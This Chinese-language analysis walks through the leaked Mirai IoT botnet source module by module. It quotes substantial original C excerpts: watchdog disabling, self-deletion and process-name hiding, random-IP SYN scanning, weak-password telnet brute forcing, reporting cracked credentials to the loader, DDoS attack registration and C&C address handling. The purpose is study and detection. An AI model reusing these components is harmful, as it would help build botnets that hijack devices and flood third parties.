Structure of file tree
/ *---+---- dlr // as same as loader/bins | +---- loader *----- bins | | | +---- src // upload a payload to an infected device | | +---- marai *----- bot // run the payload in an infected device | | | +---- cnc // control and command | | | +---- tools // some tools, such as compiler, configuration generator | +---- scripts
从文件结构的构成当中,可以发现 dlr
目录是可以忽视的。此外,最最核心的目录是 loader/src
和 mirai/
两个目录。
我们知道 payload
是在受害者设备上直接运行的那部分恶意代码,而 loader
的作用就是将其 drop 到这些设备上,比如宏病毒、js下载者等都属于loader的范畴。我们先给出 mirai 对应的网络拓扑关系图,可以有个直观的认识:
loader module
binary.c 将bins目录下的文件读取到内存中,以echo方式上传connection.c loader和感染设备telnet交互main.c 主函数server.c 向感染设备上传payload文件telnet_info.c 自定义解析telnet信息util.c 一些常用的公共函数
main.c
主要负责功能调度和初始化telnet登录信息以及环境信息建立socket链接。在启动之初就会判断这个文件夹是否存在(binary.c),然后启用了一个 epoll 架构的简单服务器(epoll.c),一旦有新的连接就启动一个新的worker线程。
第一个部分是申请了两个 IP 地址,猜测 IoT 设备主要使用这两个网段。
#ifdef DEBUG addrs_len = 1; addrs = calloc(4, sizeof (ipv4_t)); addrs[0] = inet_addr("0.0.0.0");#else addrs_len = 2; addrs = calloc(addrs_len, sizeof (ipv4_t));
addrs[0] = inet_addr("192.168.0.1"); // Address to bind to addrs[1] = inet_addr("192.168.1.1"); // Address to bind to#endif
读取程序的参数作为目标,读取参数也是 botnet 中的常用手法,从后面的几个家族的分析中来看使用的非常频繁,也可以防止自己被沙箱自动运行。
if (argc == 2){ id_tag = args[1];}
然后可以看到 main.c
利用 binary_init()
去加载了一些可执行二进制文件(dlr.*
),猜测是病毒本身了。
dlr.*
应该是 mirai bot。不知道原作者的 dlr
目录有啥用。if (!binary_init()){ printf("Failed to load bins/dlr.* as dropper\n"); return 1;}
接下来就开始将线程和 cpu 核心进行绑定,提高运行的效率,这也是可以通过cpu的异常活跃来判断是否成为僵尸网络。server 采用 Linux 的高效网络事件架构 epoll。
if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL){ printf("Failed to initialize server. Aborting\n"); return 1;}
利用 telnet_info_parse()
始化一下 telnet 的设置,方便后续爆破链接。
if (telnet_info_parse(strbuf, &info) == NULL) printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf);else{ if (srv == NULL) printf("srv == NULL 2\n");
server_queue_telnet(srv, &info); if (total++ % 1000 == 0) sleep(1);}
bot module
main.c
bot malware 采用 unlink(args[0])
来实现自删除,减少被发现风险。同时针对调试原理,一旦接收到调试器发出的信号直接中断调试。
然后向在特定位置的看门狗程序发送控制码 0×80045704
禁用看门狗,以防止自动重启。通常在嵌入式设备中,固件会实现一种叫看门狗(watchdog)的功能,有一个进程会不断的向看门狗进程发送一个字节数据,这个过程叫喂狗。如果喂狗过程结束,那么设备就会重启,因此为了防止设备重启,Mirai关闭了看门狗功能。
// Delete selfunlink(args[0]);
// Signal based control flowsigemptyset(&sigs);sigaddset(&sigs, SIGINT);sigprocmask(SIG_BLOCK, &sigs, NULL);signal(SIGCHLD, SIG_IGN);signal(SIGTRAP, &anti_gdb_entry);
// Prevent watchdog from rebooting deviceif ((wfd = open("/dev/watchdog", 2)) != -1 || (wfd = open("/dev/misc/watchdog", 2)) != -1){ int one = 1;
ioctl(wfd, 0x80045704, &one); close(wfd); wfd = 0;}
然后是调用用于确保只有一个实例的程序在运行。
方法是绑定一个特定的端口 。如果有进程已经占用了这个端口,就直接把它kill掉,这样每个同样的程序绑定这个端口的时候,就会被下一个启动的实例给 kill 掉。
但是同样,这个特点是检测网络设备中是否存在Mirai
。
隐藏进程。
- 修改
args[0]
即运行程序的命令 和 进程名变为随机的字符。因此我可以基于该操作甄别病毒,这也是为什么这种行为已经被列为高度可疑行为。
// Hide argv0name_buf_len = ((rand_next() % 4) + 3) * 4;rand_alphastr(name_buf, name_buf_len);name_buf[name_buf_len] = 0;util_strcpy(args[0], name_buf);
// Hide process namename_buf_len = ((rand_next() % 6) + 3) * 4;rand_alphastr(name_buf, name_buf_len);name_buf[name_buf_len] = 0;prctl(PR_SET_NAME, name_buf);
- 初始化攻击
attack_init()
BOOL attack_init(void){ int i;
add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic); add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse); add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns); add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);
add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn); add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack); add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);
add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip); add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);
//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy); add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);
return TRUE;}
在这之中,只是添加了一些可以进攻的方式,还没有实际进行攻击。
Killer Module
main()
函数在此后调用了killer模块 killer_init()
Killer模块主要是负责排除其他同类的病毒,以防止被抢走控制权。
在这个函数中,它会首先检测占用并杀死可能存在的进程,然后直接抢占 22/23/80 端口。这主要是为了排除异己,防止其他程序通过ssh/telnet/http 的方式获得控制权。
此后,他还会搜索特定的文件夹/proc/$pid/exe
,在这个文件夹中包含了所有正在运行中的进程的程序链接,然后它通过链接直接看程序的真实名称是否含有 .anime
一旦含有就直接杀死。
实际上这个程序在添加了其他逻辑之后,很快就能针对其他程序进行清除。这里大概只是用 anime
做了一个典型而已。毕竟Mirai
还扫描了/proc/$pid/status
文件,在这个文件中存着进程的一些信息,Killer 模块也能根据这些信息对特定的进程进行杀死。
Scanner module
在killer之后,在主循环之前,main()
调用了一个Scanner模块scanner_init()
。Scanner即扫描器,他所做的是扫描网络中其它未被感染的主机,然后用弱口令尝试登陆,并将能登陆的主机的信息上报给loader,然后由 loader 对主机进行侵略。
在此模块中,扫描的ip地址是随机生成的,并会排除一定的ip地址:
do{ tmp = rand_next();
o1 = tmp & 0xff; o2 = (tmp >> 8) & 0xff; o3 = (tmp >> 16) & 0xff; o4 = (tmp >> 24) & 0xff;}while (o1 == 127 || // 127.0.0.0/8 - Loopback (o1 == 0) || // 0.0.0.0/8 - Invalid address space (o1 == 3) || // 3.0.0.0/8 - General Electric Company (o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company (o1 == 56) || // 56.0.0.0/8 - US Postal Service (o1 == 10) || // 10.0.0.0/8 - Internal network (o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network (o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network (o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved (o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved (o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use (o1 >= 224) || // 224.*.*.*+ - Multicast (o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense);
在此后列出了一系列的弱密码。之后是快速扫描以测试存活主机是否存在弱口令。下面这段代码批量对 23 和 2323 端口发送 SYN 数据包,只对有 response 的地址进行响应。
if (fake_time != last_spew){ last_spew = fake_time;
for (i = 0; i < SCANNER_RAW_PPS; i++) { struct sockaddr_in paddr = {0}; struct iphdr *iph = (struct iphdr *)scanner_rawpkt; struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
iph->id = rand_next(); iph->saddr = LOCAL_ADDR; iph->daddr = get_random_ip(); iph->check = 0; iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
if (i % 10 == 0) { tcph->dest = htons(2323); } else { tcph->dest = htons(23); } tcph->seq = iph->daddr; tcph->check = 0; tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));
paddr.sin_family = AF_INET; paddr.sin_addr.s_addr = iph->daddr; paddr.sin_port = tcph->dest;
sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr)); }}
由于使用的是UDP协议,要从获得的数据包中快速筛选出真正的响应的包
errno = 0;n = recvfrom(rsck, dgram, sizeof (dgram), MSG_NOSIGNAL, NULL, NULL);if (n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK) break;
if (n < sizeof(struct iphdr) + sizeof(struct tcphdr)) continue;if (iph->daddr != LOCAL_ADDR) continue;if (iph->protocol != IPPROTO_TCP) continue;if (tcph->source != htons(23) && tcph->source != htons(2323)) continue;if (tcph->dest != source_port) continue;if (!tcph->syn) continue;if (!tcph->ack) continue;if (tcph->rst) continue;if (tcph->fin) continue;if (htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr) continue;
我们会过滤掉:
- 不完整的包
- 目标非本机地址的包
- 目标非TCP协议的包
- 目标来源非23或2323的包
- 目标非特定端口的包
- 是SYN或ACK信号
- 不是RST和FIN信号
- 最后还判断其ACK序列号是否与前一个相同
之后将存活的设备保存到一个数组中。然后随机选取之前设置的弱口令进行爆破:
if (FD_ISSET(conn->fd, &fdset_wr)) { int err = 0, ret = 0; socklen_t err_len = sizeof (err);
ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len); if (err == 0 && ret == 0) { conn->state = SC_HANDLE_IACS; conn->auth = random_auth_entry(); conn->rdbuf_pos = 0;#ifdef DEBUG printf("[scanner] FD%d connected. Trying %s:%s\n", conn->fd, conn->auth->username, conn->auth->password);#endif } else {#ifdef DEBUG printf("[scanner] FD%d error while connecting = %d\n", conn->fd, err);#endif close(conn->fd); conn->fd = -1; conn->tries = 0; conn->state = SC_CLOSED; continue; } }
然后发送一系列命令判断登录成功与否。若成功,尝试一些操作,并上报loader。上报 loader 的行为如下:
uint8_t zero = 0;send(fd, &zero, sizeof (uint8_t), MSG_NOSIGNAL);send(fd, &daddr, sizeof (ipv4_t), MSG_NOSIGNAL);send(fd, &dport, sizeof (uint16_t), MSG_NOSIGNAL);send(fd, &(auth->username_len), sizeof (uint8_t), MSG_NOSIGNAL);send(fd, auth->username, auth->username_len, MSG_NOSIGNAL);send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL);send(fd, auth->password, auth->password_len, MSG_NOSIGNAL);
Attack module
在做完了上面这两个模块的内容之后,就进入了bot的主循环,它会主动连接CNC节点并等待CNC节点的指令使用 attackparse
进行解析。
在这里有个小trick,在前面是设定了CNC节点的IP地址和端口 FAKE_CNC_ADDR
和 FAKE_CNC_PORT
,但是实际在连接中,这是一个虚假的IP地址和端口,用于迷惑对这个代码进行debug的开发者。真正的IP和端口是在 table.c
中硬编码写入的cnc.changeme.com
用8.8.8.8
做DNS解析之后得到的,然后在连接前使用resolve_func()
函数对地址进行了修改写入了真的IP地址。
在建立连接后,bot
根据接收到的指令(目标数,IP地址,掩码),对目标进行攻击。
在attack_app.c
、attack_gre.c
、attack_tcp.c
和attack_udp.c
中分别定义了四大类的攻击类型,然后使用函数指针模拟多态地进行调用。其中攻击的方式大多是通过socket建立大量的SYN包,然后发给目标地址。
Summary
- 代码结构概览
- bot:感染设备后驻留的恶意程序(扫描目标、发起攻击)。
- cnc:命令控制服务器(C&C)源码,用于与僵尸网络通信。
- loader:负责传播Mirai(漏洞利用、暴力破解Telnet/SSH)。
- tools:编译工具、加密配置生成器等。
- 关键技术特点
- 传播手段:通过默认弱密码字典(admin/admin等)暴力破解Telnet服务,利用已知漏洞(如CVE-2014-8361)。
- 隐蔽性:杀死设备上的竞争恶意进程、隐藏自身进程、驻留内存。
- 攻击能力:支持多种DDoS攻击(TCP/UDP洪水、HTTP层攻击)。
- 加密通信:C&C与Bot间使用自定义加密协议(XOR+随机字节混淆)。